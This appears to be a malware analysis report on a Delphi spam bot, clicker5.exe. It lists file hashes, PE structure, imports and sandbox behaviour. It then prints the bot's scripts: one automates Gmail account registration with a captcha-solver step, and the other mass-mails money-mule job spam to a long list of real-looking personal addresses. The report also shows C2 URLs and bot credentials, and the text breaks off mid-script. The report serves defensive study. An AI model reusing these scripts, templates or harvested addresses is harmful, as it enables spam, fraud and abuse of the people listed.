Download Link: hxxp://client133.faster-hosting.com/ex/clicker5.exe File Name: clicker5.exe File size: 627200 bytes MD5: b4324abeca43e00c6428a706bd7e8499 SHA1: c6dce6ccf3aff6fd2ba36bbcd36addcae463dd91 PEiD: BobSoft Mini Delphi -> BoB / BobSoft VirusTotal Result: 3/32 (9.38%) Avast: Win32:Delf-ITZ Ikarus: Virus.Win32.Delf.ITZ VBA32: Backdoor.Win32.Delf.dis PE Header Signature: 00004550 Machine: 014C - Intel 386 Number of sections: 0008 Time/Date stamp: 2A425E19 Pointer to symbol table: 00000000 Number of symbols: 00000000 Size of optional header: 00E0 Characteristics: 818E Magic: 010B Linker version (major): 02 Linker version (minor): 19 Size of code: 00084C00 Size of initialized data: 00014200 Size of uninitialized data: 00000000 Address of entry point: 00085B88 Base of code: 00001000 Base of data: 00086000 Image base: 00400000 Section alignment: 00001000 File alignment: 00000200 OS version (major): 0004 OS version (minor): 0000 Image version (major): 0000 Image version (minor): 0000 Sub system version (major): 0004 Sub system version (minor): 0000 Win32 version: 00000000 Size of image: 0009F000 Size of headers: 00000400 Checksum: 00000000 Sub system: 0002 - Windows graphical user interface (GUI) subsystem DLL characteristics: 0000 Size of stack reserve: 00100000 Size of stack commit: 00004000 Size of heap reserve: 00100000 Size of heap commit: 00001000 Loader flags: 00000000 Number of RVA: 00000010 PE Sections Section VirtSize VirtAddr PhysSize PhysAddr Flags CODE 00084BD0 00001000 00084C00 00000400 60000020 DATA 000025EC 00086000 00002600 00085000 C0000040 BSS 00000F3D 00089000 00000000 00087600 C0000000 .idata 00002446 0008A000 00002600 00087600 C0000040 .tls 00000010 0008D000 00000000 00089C00 C0000000 .rdata 00000018 0008E000 00000200 00089C00 50000040 .reloc 0000880C 0008F000 00008A00 00089E00 50000040 .rsrc 00006A00 00098000 00006A00 00092800 50000040 Import table (libraries: 16) kernel32.dll (imports: 36) DeleteCriticalSection LeaveCriticalSection EnterCriticalSection InitializeCriticalSection VirtualFree VirtualAlloc LocalFree LocalAlloc GetTickCount QueryPerformanceCounter GetVersion GetCurrentThreadId InterlockedDecrement InterlockedIncrement VirtualQuery WideCharToMultiByte MultiByteToWideChar lstrlenA lstrcpynA LoadLibraryExA GetThreadLocale GetStartupInfoA GetProcAddress GetModuleHandleA GetModuleFileNameA GetLocaleInfoA GetCommandLineA FreeLibrary FindFirstFileA FindClose ExitProcess WriteFile UnhandledExceptionFilter RtlUnwind RaiseException GetStdHandle user32.dll (imports: 4) GetKeyboardType LoadStringA MessageBoxA CharNextA advapi32.dll (imports: 3) RegQueryValueExA RegOpenKeyExA RegCloseKey oleaut32.dll (imports: 3) SysFreeString SysReAllocStringLen SysAllocStringLen kernel32.dll (imports: 4) TlsSetValue TlsGetValue LocalAlloc GetModuleHandleA advapi32.dll (imports: 3) RegQueryValueExA RegOpenKeyExA RegCloseKey kernel32.dll (imports: 68) lstrcpyA WriteFile WaitForSingleObject VirtualQuery VirtualAlloc Sleep SizeofResource SetThreadLocale SetFilePointer SetEvent SetErrorMode SetEndOfFile ResetEvent ReadFile MultiByteToWideChar MulDiv LockResource LoadResource LoadLibraryA LeaveCriticalSection InitializeCriticalSection GlobalUnlock GlobalSize GlobalReAlloc GlobalHandle GlobalLock GlobalFree GlobalFindAtomA GlobalDeleteAtom GlobalAlloc GlobalAddAtomA GetVersionExA GetVersion GetUserDefaultLCID GetTickCount GetThreadLocale GetTempPathA GetSystemInfo GetStringTypeExA GetStdHandle GetProcAddress GetModuleHandleA GetModuleFileNameA GetLocaleInfoA GetLocalTime GetLastError GetFullPathNameA GetFileSize GetDiskFreeSpaceA GetDateFormatA GetCurrentThreadId GetCurrentProcessId GetComputerNameA GetCPInfo GetACP FreeResource InterlockedExchange FreeLibrary FormatMessageA FindResourceA EnumCalendarInfoA EnterCriticalSection DeleteCriticalSection CreateThread CreateFileA CreateEventA CompareStringA CloseHandle version.dll (imports: 3) VerQueryValueA GetFileVersionInfoSizeA GetFileVersionInfoA gdi32.dll (imports: 71) UnrealizeObject StretchBlt SetWindowOrgEx SetWinMetaFileBits SetViewportOrgEx SetTextColor SetStretchBltMode SetROP2 SetPixel SetMapMode SetEnhMetaFileBits SetDIBColorTable SetBrushOrgEx SetBkMode SetBkColor SelectPalette SelectObject SaveDC RestoreDC Rectangle RectVisible RealizePalette PlayEnhMetaFile PatBlt MoveToEx MaskBlt LineTo LPtoDP IntersectClipRect GetWindowOrgEx GetWinMetaFileBits GetTextMetricsA GetTextExtentPoint32A GetSystemPaletteEntries GetStockObject GetPixel GetPaletteEntries GetObjectA GetEnhMetaFilePaletteEntries GetEnhMetaFileHeader GetEnhMetaFileDescriptionA GetEnhMetaFileBits GetDeviceCaps GetDIBits GetDIBColorTable GetDCOrgEx GetCurrentPositionEx GetClipBox GetBrushOrgEx GetBitmapBits GdiFlush ExtTextOutA ExcludeClipRect DeleteObject DeleteEnhMetaFile DeleteDC CreateSolidBrush CreatePenIndirect CreatePalette CreateHalftonePalette CreateFontIndirectA CreateEnhMetaFileA CreateDIBitmap CreateDIBSection CreateCompatibleDC CreateCompatibleBitmap CreateBrushIndirect CreateBitmap CopyEnhMetaFileA CloseEnhMetaFile BitBlt user32.dll (imports: 161) CreateWindowExA WindowFromPoint WinHelpA WaitMessage UpdateWindow UnregisterClassA UnhookWindowsHookEx TranslateMessage TranslateMDISysAccel TrackPopupMenu SystemParametersInfoA ShowWindow ShowScrollBar ShowOwnedPopups ShowCursor SetWindowsHookExA SetWindowTextA SetWindowPos SetWindowPlacement SetWindowLongA SetTimer SetScrollRange SetScrollPos SetScrollInfo SetRect SetPropA SetParent SetMenuItemInfoA SetMenu SetForegroundWindow SetFocus SetCursor SetClassLongA SetCapture SetActiveWindow SendMessageA ScrollWindow ScreenToClient RemovePropA RemoveMenu ReleaseDC ReleaseCapture RegisterWindowMessageA RegisterClipboardFormatA RegisterClassA RedrawWindow PtInRect PostQuitMessage PostMessageA PeekMessageA OffsetRect OemToCharA OemKeyScan MessageBoxA MapWindowPoints MapVirtualKeyA LoadStringA LoadKeyboardLayoutA LoadIconA LoadCursorA LoadBitmapA KillTimer IsZoomed IsWindowVisible IsWindowEnabled IsWindow IsRectEmpty IsIconic IsDialogMessageA IsChild InvalidateRect IntersectRect InsertMenuItemA InsertMenuA InflateRect GetWindowThreadProcessId GetWindowTextA GetWindowRect GetWindowPlacement GetWindowLongA GetWindowDC GetTopWindow GetSystemMetrics GetSystemMenu GetSysColorBrush GetSysColor GetSubMenu GetScrollRange GetScrollPos GetScrollInfo GetPropA GetParent GetWindow GetMessageTime GetMenuStringA GetMenuState GetMenuItemInfoA GetMenuItemID GetMenuItemCount GetMenu GetLastActivePopup GetKeyboardState GetKeyboardLayoutList GetKeyboardLayout GetKeyState GetKeyNameTextA GetIconInfo GetForegroundWindow GetFocus GetDesktopWindow GetDCEx GetDC GetCursorPos GetCursor GetClipboardData GetClientRect GetClassNameA GetClassInfoA GetCapture GetActiveWindow FrameRect FindWindowA FillRect EqualRect EnumWindows EnumThreadWindows EndPaint EnableWindow EnableScrollBar EnableMenuItem DrawTextA DrawMenuBar DrawIconEx DrawIcon DrawFrameControl DrawFocusRect DrawEdge DispatchMessageA DestroyWindow DestroyMenu DestroyIcon DestroyCursor DeleteMenu DefWindowProcA DefMDIChildProcA DefFrameProcA CreatePopupMenu CreateMenu CreateIcon ClientToScreen CheckMenuItem CallWindowProcA CallNextHookEx BeginPaint CharNextA CharLowerBuffA CharLowerA CharUpperBuffA CharToOemA AdjustWindowRectEx ActivateKeyboardLayout kernel32.dll (imports: 1) Sleep oleaut32.dll (imports: 11) SafeArrayPtrOfIndex SafeArrayUnaccessData SafeArrayAccessData SafeArrayGetUBound SafeArrayGetLBound SafeArrayCreate VariantChangeType VariantCopyInd VariantCopy VariantClear VariantInit ole32.dll (imports: 13) CreateStreamOnHGlobal IsAccelerator OleDraw OleSetMenuDescriptor CoTaskMemFree CLSIDFromProgID ProgIDFromCLSID StringFromCLSID CoCreateInstance CoGetClassObject CoUninitialize CoInitialize IsEqualGUID oleaut32.dll (imports: 3) GetErrorInfo GetActiveObject SysFreeString comctl32.dll (imports: 23) ImageList_SetIconSize ImageList_GetIconSize ImageList_Write ImageList_Read ImageList_GetDragImage ImageList_DragShowNolock ImageList_SetDragCursorImage ImageList_DragMove ImageList_DragLeave ImageList_DragEnter ImageList_EndDrag ImageList_BeginDrag ImageList_Remove ImageList_DrawEx ImageList_Replace ImageList_Draw ImageList_GetBkColor ImageList_SetBkColor ImageList_ReplaceIcon ImageList_Add ImageList_GetImageCount ImageList_Destroy ImageList_Create user32.dll (imports: 1) PrintWindow Process Info: Filename: sample.exe MD5: b4324abeca43e00c6428a706bd7e8499 SHA-1: c6dce6ccf3aff6fd2ba36bbcd36addcae463dd91 File Size: 627200 Bytes Load Time DLL: Module Name Base Address Size C:\WINDOWS\system32\ntdll.dll 0x7C900000 0x000B0000 C:\WINDOWS\system32\kernel32.dll 0x7C800000 0x000F5000 C:\WINDOWS\system32\user32.dll 0x7E410000 0x00090000 C:\WINDOWS\system32\GDI32.dll 0x77F10000 0x00047000 C:\WINDOWS\system32\advapi32.dll 0x77DD0000 0x0009B000 C:\WINDOWS\system32\RPCRT4.dll 0x77E70000 0x00092000 C:\WINDOWS\system32\Secur32.dll 0x77FE0000 0x00011000 C:\WINDOWS\system32\oleaut32.dll 0x77120000 0x0008B000 C:\WINDOWS\system32\msvcrt.dll 0x77C10000 0x00058000 C:\WINDOWS\system32\ole32.dll 0x774E0000 0x0013D000 C:\WINDOWS\system32\version.dll 0x77C00000 0x00008000 C:\WINDOWS\system32\comctl32.dll 0x5D090000 0x0009A000 C:\WINDOWS\system32\user32.dll 0x00320000 0x00090000 C:\WINDOWS\system32\IMM32.DLL 0x76390000 0x0001D000 Runtime DLL: Module Name Base Address Size C:\WINDOWS\system32\xpsp2res.dll 0x20000000 0x002C5000 C:\WINDOWS\system32\uxtheme.dll 0x5AD70000 0x00038000 C:\WINDOWS\system32\olepro32.dll 0x5EDD0000 0x00017000 C:\WINDOWS\system32\MSCTF.dll 0x74720000 0x0004B000 C:\WINDOWS\system32\msctfime.ime 0x755C0000 0x0002E000 C:\WINDOWS\system32\SXS.DLL 0x75E90000 0x000B0000 C:\WINDOWS\system32\CLBCATQ.DLL 0x76FD0000 0x0007F000 C:\WINDOWS\system32\COMRes.dll 0x77050000 0x000C5000 Popups: Window Name Window Text 8 Execute Memo2 Run Step Stop Run Edit1 Memo1 sample OK Access violation at address 00403258 in module 'sample.exe'. Read of address FFFFFFFC. sample OK Access violation at address 0041ACC6 in module 'sample.exe'. Read of address 00000058. 8 Execute Memo2 Run Step Stop Run Edit1 Memo1 Registry Reads: Key Name Value Times HKLM\SOFTWARE\CLASSES\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCSERVER32 oleaut32.dll 5 HKLM\SOFTWARE\CLASSES\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCSERVER32 ThreadingModel Both 1 HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\INPROCSERVER32 oleaut32.dll 3 HKLM\SOFTWARE\CLASSES\CLSID\{00020424-0000-0000-C000-000000000046}\INPROCSERVER32 ThreadingModel Both 1 HKLM\SOFTWARE\CLASSES\CLSID\{0002DF01-0000-0000-C000-000000000046}\LOCALSERVER32 "C:\Program Files\Internet Explorer\IEXPLORE.EXE" 2 HKLM\SOFTWARE\CLASSES\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\INPROCSERVER32 oleaut32.dll 1 HKLM\SOFTWARE\CLASSES\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\INPROCSERVER32 ThreadingModel Both 1 HKLM\SOFTWARE\CLASSES\INTERFACE\{00020400-0000-0000-C000-000000000046}\PROXYSTUBCLSID32 {00020420-0000-0000-C000-000000000046} 1 HKLM\SOFTWARE\CLASSES\INTERFACE\{B196B284-BAB4-101A-B69C-00AA00341D07}\PROXYSTUBCLSID32 {B196B286-BAB4-101A-B69C-00AA00341D07} 1 HKLM\SOFTWARE\CLASSES\INTERFACE\{B196B286-BAB4-101A-B69C-00AA00341D07}\PROXYSTUBCLSID32 {B196B286-BAB4-101A-B69C-00AA00341D07} 1 HKLM\SOFTWARE\CLASSES\INTERFACE\{D30C1661-CDAF-11D0-8A3E-00C04FC9E26E}\PROXYSTUBCLSID32 {00020424-0000-0000-C000-000000000046} 5 HKLM\SOFTWARE\CLASSES\INTERFACE\{D30C1661-CDAF-11D0-8A3E-00C04FC9E26E}\TYPELIB {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} 4 HKLM\SOFTWARE\CLASSES\INTERFACE\{D30C1661-CDAF-11D0-8A3E-00C04FC9E26E}\TYPELIB Version 1.1 4 HKLM\SOFTWARE\CLASSES\INTERNETEXPLORER.APPLICATION\CLSID {0002DF01-0000-0000-C000-000000000046} 2 HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN32 C:\WINDOWS\system32\stdole2.tlb 1 HKLM\SOFTWARE\CLASSES\TYPELIB\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\WIN32 C:\WINDOWS\system32\ieframe.dll 4 HKLM\Software\Microsoft\COM3 Com+Enabled 1 2 HKLM\Software\Microsoft\COM3 REGDBVersion 0x0f00000000000000 28 HKLM\Software\Microsoft\CTF\SystemShared CUAS 0 1 HKLM\Software\Microsoft\Windows NT\CurrentVersion\IMM Ime File msctfime.ime 1 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs 1 HKLM\System\CurrentControlSet\Control\ComputerName\ActiveComputerName ComputerName USER 2 Monitored Registry Keys: Key Name Watch subtree Notify Filter Count HKLM\Software\Classes 1 Key Change,Value Change 3 HKLM\Software\Classes\CLSID 1 Key Change,Value Change 2 HKLM\Software\Microsoft\COM3 1 Key Change,Value Change 6 HKU 1 Key Change,Value Change 7 Files Read: C:\WINDOWS\Registration\R00000000000f.clb C:\WINDOWS\system32\ieframe.dll C:\WINDOWS\system32\stdole2.tlb PIPE\lsarpc Files Changed: PIPE\lsarpc File System Control Communication: File Control Code Times PIPE\lsarpc 0x0011C017 6 Memory Mapped Files: File Name C:\WINDOWS\system32\Msimtf.dll C:\WINDOWS\system32\ieframe.dll C:\WINDOWS\system32\rpcss.dll C:\WINDOWS\system32\stdole2.tlb C:\WINDOWS\system32\winlogon.exe Mutex: CTF.TimListCache.FMPDefaultS-1-5-21- 1229272821-1004336348-527237240-1003MUTEX.DefaultS-1-5-21- 1229272821-1004336348-527237240-1003 MSCTF.Shared.MUTEX.AN MSCTF.Shared.MUTEX.EEG Windows SEH Exceptions: Description Times Exception 0xeedfade at 0x7c812a5b 3 Exception 0xc0000005 (STATUS_ACCESS_VIOLATION) at 0x41acc6 1 Exception 0xc0000005 (STATUS_ACCESS_VIOLATION) at 0x403258 1 Exception 0x8001010d at 0x7c812a5b 2 Exception 0xc0000005 (STATUS_ACCESS_VIOLATION) at 0x466cee 2 Process Details: Name: clicker5.exe Type Name Section \BaseNamedObjects\__R_00000000001a_SMem__ File \Device\KsecDD File \Device\NamedPipe\lsarpc KeyedEvent \KernelObjects\CritSecOutOfMemoryEvent Directory \KnownDlls Port \RPC Control\OLE135DB7C5757F4725BAE746C2EC2A Directory \Windows Thread clicker5.exe(532): 1172 Thread clicker5.exe(532): 156 Thread clicker5.exe(532): 308 Thread clicker5.exe(532): 484 Thread clicker5.exe(532): 868 Thread clicker5.exe(532): 880 File E:\Infected Key HKCR Key HKCR Key HKCR Key HKCR\CLSID Key HKCR\CLSID Key HKCU Key HKCU\Software\Classes Key HKCU\Software\Classes Key HKCU\Software\Classes Key HKCU\Software\Classes Key HKCU\Software\Classes Key HKCU\Software\Classes Key HKCU\Software\Classes Key HKCU\Software\Classes Key HKLM Key HKLM\SOFTWARE\Microsoft\COM3 Key HKLM\SOFTWARE\Microsoft\COM3 Key HKLM\SOFTWARE\Microsoft\COM3 Key HKLM\SOFTWARE\Microsoft\COM3 Key HKLM\SOFTWARE\Microsoft\COM3 Key HKLM\SOFTWARE\Microsoft\COM3 Key HKLM\SYSTEM\Setup Key HKU Key HKU Key HKU Token SANDBOX\Administrator:a0d6 Complete List of activities: When the file Clicker5.exe is executed, it runs as a process and opend up a window with the Title as '8'. It opens 2 browser windows and executes the below script: ------------------------------------------------- conf,mailerlogin,%RND_LC_CHAR[10-10], conf,mailerpass,%RND_LC_CHAR[10-10], # If We Are Logged In url,"hxxp://mail.google.com/mail/?ui=html&zy=f","hxxp://mail.google.com/mail/", search_link,,logout, search_link,,signup, if,"html_search,\"answer=67512\",","goto,PermanentFailed,","", #Correct Language fill,hl,en, javascript_run,"document.forms[0].submit();", form_fill,FirstName,%RND_LC_CHAR[5-7], form_fill,LastName,%RND_LC_CHAR[5-7], form_fill,Email,$mailerlogin, form_fill,Passwd,$mailerpass, form_fill,PasswdAgain,$mailerpass, focus,questions, sendintkey,28, form_fill,IdentityAnswer,%RND_NUMBER[1-100], sendcaptcha,accounts/Captcha,cap, form_fill,newaccountcaptcha,$cap, click,submitbutton, conf_inc,num_captchas, if,"text_search,\"show me my\",","goto,Ok,","goto,Failed,", Ok: #clicktext,"show me my", sleep,2, #search_link,,"ui=html", url,"hxxp://mail.google.com/mail/?ui=html&zy=f","hxxp://mail.google.com/mail/", conf_inc,num_accounts, exit,Ok, Failed: exit,CannotCreateAccount, PermanentFailed: exit,CannotCreateAccount, ------------------------------------------------- It tries to create a gmail account automatically with the below detail: First Name: hwqkusy Last Name: vspum Desired Login: fglhqdajwi <-- @gmail.com Password: ********* Security Question: What is your primary frequent flyer number: Answer: 11 On error, it sends the error to the url: hxxp://72.36.234.114/wmr.php mailer=gmail
resultname=CannotRegister
RELOAD_JOBS=10
line_return=9,37,
current_script=hxxp://72.36.234.114/wm.php?macros=gmail/register.txt
REG_NAME=chkdrv
botstatus=registering
CONTROL_PAGE=hxxp://72.36.234.114/wm.php?macros=gmail/index.txt
TICKETS_PAGE=hxxp://72.36.175.154/test/botform.php?action=sbm
REPORTS_PAGE=hxxp://72.36.234.114/wmr.php
num_captchas=1
current_line=351
mailerlogin=fglhqdajwi
mailerpass=gejwwassas
CAPTCHA_PAGE=hxxp://prx.freecj.com/dcc3/captcha.php
BROWSER_DELAY=3
botid=9876543210
botlogin=admin1
result=CannotCreateAccount
If account is created, it executes the below script to send mails: ------------------------------------------------------------------------ ######## send: Initialize, Clear All Variables conf,stop,, conf,sent,, conf,lost,, conf,captchas,, conf,id,"admin1/usa_aol_sentlost", sleep,2, conf,subject,"easy money", conf,to,"kathysrn@rochester.rr.com,kathysmith@columbus.rr.com,kathysclown@columbus.rr.com,kathysanders@columbus.rr.com,kathysabo@columbus.rr.com,kathysmithdesigns@cfl.rr.com,kathyseascape@cfl.rr.com,kathysendker@tampabay.rr.com,kathysanto@tampabay.rr.com,kathysmail@tampabay.rr.com", conf,body,"Hi\nAn overseas corporation is currently seeking people in the United States to become our representative in the North America \nFunding of $100000 /year.\nWe don't ask for any investment\nAre you interested? Visit our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"easy business opportunity", conf,to,"kathysj@tampabay.rr.com,kathysauter@new.rr.com,kathysch@san.rr.com,kathystein@stny.rr.com,kathyschaff@stny.rr.com,kathysloan@carolina.rr.com,kathyscott@cinci.rr.com,kathysteiner@wi.rr.com,kathyst@wi.rr.com,kathyspin@wi.rr.com", conf,body,"Hello.\nA multinational corporation is currently searching for people across the United States to be our representative in the North America \nIncome is USD70000 /yr.\nNo hidden fees, no marketing stuff.\nAre you interested? Please go to our web site, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"fine job", conf,to,"kathyskowyra@nyc.rr.com,kathysmith@sc.rr.com,kathyskreations@sc.rr.com,kathysmustang@woh.rr.com,kathyss@nc.rr.com,kathyspuppyparadise@nc.rr.com,kathyst@twmi.rr.com,jweber3@columbus.rr.com,jweber2@columbus.rr.com,jwebster@columbus.rr.com", conf,body,"Hi there.\nAn overseas corporation is currently seeking people across the United States to be our representative in the North America \nFunding of $100000 /yr.\nNo fees, no marketing tricks.\nInterested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home funding", conf,to,"jwebste1@columbus.rr.com,jweber@columbus.rr.com,jwebbjr@nc.rr.com,jwebster@nc.rr.com,jwebster4@nc.rr.com,jwebster1@nc.rr.com,jweber@nc.rr.com,katrina.brown@tx.rr.com,jomest@twcny.rr.com,johnsherlock@nc.rr.com", conf,body,"Hi there\nOur corporation is searching for staff across the US to act as our representative in the region .\nFunding of USD50'000 /year.\nNo investments asked from you.\nInterested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home money making", conf,to,"jojoe@nycap.rr.com,jojoe425@nycap.rr.com,jojoe1@nycap.rr.com,katzmon@nyc.rr.com,katzlaw@nyc.rr.com,katzmarketing@columbus.rr.com,katzman@satx.rr.com,kau@triad.rr.com,karistanley@nc.rr.com,karithomas@san.rr.com", conf,body,"Hi there.\nAn overseas corporation is searching for people across the US to act as our agent in the North America .\nFunding of USD50'000 per year.\nNo hidden fees, no marketing stuff\nInterested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your opportunity", conf,to,"karisz@cfl.rr.com,karivera@rochester.rr.com,karivera@austin.rr.com,kariw-hmhb@hawaii.rr.com,kariwalker@insight.rr.com,jschaler@cfl.rr.com,jschaffer@cfl.rr.com,jschaffer1@cfl.rr.com,jschaffer10@cfl.rr.com,kayvw@ca.rr.com", conf,body,"Hi.\nOur corporation is searching for staff across the United States to act as our agent in the North America .\nFunding of USD50'000 /year.\nNo investments asked from you.\nInterested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"easy employment", conf,to,"kaymaur@ca.rr.com,juusoreino@groups.aol.com,katrinkald@tx.rr.com,jwagman@austin.rr.com,jwagh@austin.rr.com,jwagar@austin.rr.com,jwade@austin.rr.com,jwade@bham.rr.com,jwagner2@carolina.rr.com,jwadeh@carolina.rr.com", conf,body,"Hello\nOur corporation is searching for people across the United States to be our representative in the North America \nIncome is USD50000 /year.\nNo investments asked from you.\nAre you interested? Please go to our site, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"easy money", conf,to,"jwade@carolina.rr.com,jwagner419@carolina.rr.com,jwagner3@carolina.rr.com,jwade@ec.rr.com,jwagne5@rochester.rr.com,jwagne2@rochester.rr.com,jwagar@rochester.rr.com,jwag2002@rochester.rr.com,jwade@rochester.rr.com,jwagner3@rochester.rr.com", conf,body,"Hello\nAn overseas corporation is seeking people across the United States to be our representative in the North America \nIncome is USD50'000 per year.\nNo hidden fees, no marketing stuff\nInterested? Visit our web site, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home job", conf,to,"jwagner2@rochester.rr.com,jwagner10@rochester.rr.com,jwagner2@san.rr.com,jwaggaman@san.rr.com,jwade@san.rr.com,jwade@stx.rr.com,jwadkins1@bak.rr.com,jwagner20@nc.rr.com,jwaggy@nc.rr.com,jwages@nc.rr.com", conf,body,"Hi there.\nAn overseas corporation is searching for people across the United States to act as our representative in the North America .\nFunding of USD50'000 /year.\nNo investments asked from you.\nInterested? Visit our web page, to know more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream business opportunity", conf,to,"jwagenseller@triad.rr.com,jwageman@triad.rr.com,jwadkinson@triad.rr.com,jwagers@triad.rr.com,jwager@nycap.rr.com,jwager1@nycap.rr.com,jwag@nycap.rr.com,jwaechter@nycap.rr.com,jwadler1@nycap.rr.com,jwadman1@maine.rr.com", conf,body,"Hi there\nA multinational corporation is currently searching for staff across the United States to become our agent in the region .\nIncome is $100k /yr.\nNo hidden fees, no marketing stuff\nInterested? Please go to our web site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"perfect income", conf,to,"jwady@hot.rr.com,jwagner11@new.rr.com,jwadzinski@new.rr.com,jwagner1@new.rr.com,jwaggoner@tampabay.rr.com,jwagers1@tampabay.rr.com,jwagenma@tampabay.rr.com,jwagemann@tampabay.rr.com,jwaff@tampabay.rr.com,jwaechter@tampabay.rr.com", conf,body,"Greets\nOur corporation is searching for people in the USA to act as our representative in the North America .\nFunding of USD50'000 /year.\nNo hidden fees, no marketing stuff.\nAre you interested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"the very best business", conf,to,"jwagner117@tampabay.rr.com,jwagne1@tampabay.rr.com,jwagner3@tampabay.rr.com,jwagner1@tampabay.rr.com,jwages1@kc.rr.com,jwaers@kc.rr.com,jwagner19@kc.rr.com,jwaggoner3@kc.rr.com,jwagner10@woh.rr.com,jwaggamon@woh.rr.com", conf,body,"Hi.\nOur corporation is currently seeking people across the United States to act as our representative in the region .\nFunding of USD50k per year.\nNo fees, no marketing tricks\nAre you interested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your career", conf,to,"jwag@woh.rr.com,jwagner25@woh.rr.com,jwagner11@woh.rr.com,jwagner3@stny.rr.com,jwagner2@stny.rr.com,jwagner1@stny.rr.com,jwagner14@stny.rr.com,jwager@stny.rr.com,jwagenaar@nyc.rr.com,jwagner1@sc.rr.com", conf,body,"Hi.\nA multinational corporation is seeking staff across the United States to be our representative in the North America \nIncome is $70k per year.\nNo investments asked from you.\nInterested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"home money", conf,to,"jwagener@sc.rr.com,jwaggaman@dc.rr.com,jwagersdesign@triadbiz.rr.com,jwaggle@satx.rr.com,jwaggoner@sw.rr.com,jwaggoner@indy.rr.com,jwagner1@wi.rr.com,jwagner11@wi.rr.com,jwagner10@wi.rr.com,jwagner219@wi.rr.com", conf,body,"Hello.\nA multinational corporation is currently searching for people across the United States to become our agent in the North America \nIncome is $70'000 per year.\nNo hidden fees, no marketing stuff\nInterested? Please go to our web page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"fine opportunity", conf,to,"jwagner2@insight.rr.com,katzjets@ca.rr.com,kcjohnston19@tx.rr.com,jwight@satx.rr.com,jwieters@satx.rr.com,jwiggins@socal.rr.com,jwiggalt@socal.rr.com,jwilber@neo.rr.com,jwiggins@neo.rr.com,jwigal@neo.rr.com", conf,body,"Greets.\nAn overseas corporation is currently seeking people across the USA to be our agent in the region \nFunding of USD100000 /yr.\nNo hidden fees, no marketing stuff\nInterested? Visit our page, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"easy career", conf,to,"jwiezbiski@neo.rr.com,jwiggin3@tampabay.rr.com,jwihbey@tampabay.rr.com,jwigle@tampabay.rr.com,jwiggs@tampabay.rr.com,jwikof2@tampabay.rr.com,jwikste1@tampabay.rr.com,jwikoff1@tampabay.rr.com,jwilber1@tampabay.rr.com,jwiktor1@stny.rr.com", conf,body,"Greets.\nOur corporation is currently seeking staff in the USA to act as our representative in the region \nFunding of USD70000 /year.\nWe don't ask for any investment.\nAre you interested? Visit our page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"ideal funding", conf,to,"jwigsten@stny.rr.com,jwiggersson@stny.rr.com,jwiggersed@stny.rr.com,jwiggerschris@stny.rr.com,jwilber@stny.rr.com,jwiktor@stny.rr.com,jwightman@twcny.rr.com,jwightma@twcny.rr.com,jwight@twcny.rr.com,jwiggins@twcny.rr.com", conf,body,"Greets.\nAn overseas corporation is searching for staff in the USA to become our agent in the North America .\nFunding of USD50k per year.\nNo investments asked from you.\nInterested? Please go to our web page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"nice income", conf,to,"jwiggins9@sc.rr.com,jwiggins3@sc.rr.com,jwiggins10@sc.rr.com,jwiggins5@carolina.rr.com,jwiggins3@carolina.rr.com,jwiker1@carolina.rr.com,jwiggins@carolina.rr.com,jwiggins@cfl.rr.com,jwiggins2@cfl.rr.com,jwilber@cfl.rr.com", conf,body,"Hi\nA multinational corporation is currently seeking people across the United States to act as our representative in the North America .\nIncome is $50000 /yr.\nNo hidden fees, no marketing stuff.\nAre you interested? Please go to our web page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"the very best money making", conf,to,"jwiggins@elmore.rr.com,jwilberg@nc.rr.com,jwilber@nc.rr.com,jwigmore@nc.rr.com,jwiggs2@nc.rr.com,jwiggs1@nc.rr.com,jwiggins@nc.rr.com,katchmar@rochester.rr.com,katchi@rochester.rr.com,katchley1@carolina.rr.com", conf,body,"Greets\nOur corporation is seeking staff in the USA to act as our agent in the North America .\nIncome is USD50'000 per year.\nNo hidden fees, no marketing stuff\nInterested? Please go to our web page, to learn more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"your dream opportunity", conf,to,"katcombs@woh.rr.com,katclark@woh.rr.com,katco7@twcny.rr.com,justbeckie@carolina.rr.com,justbeachy@carolina.rr.com,justbecaus@wi.rr.com,justbecuz@dc.rr.com,justbelieve@woh.rr.com,justbeth@rochester.rr.com,justbent@rochester.rr.com", conf,body,"Hi there\nOur corporation is searching for people across the United States to be our representative in the region .\nFunding of USD50k /yr.\nNo investments asked from you\nAre you interested? Visit our site, to find out more\n\n", if,"$stop","goto,PacketLost,","goto,DoSend,", conf,subject,"ideal business", 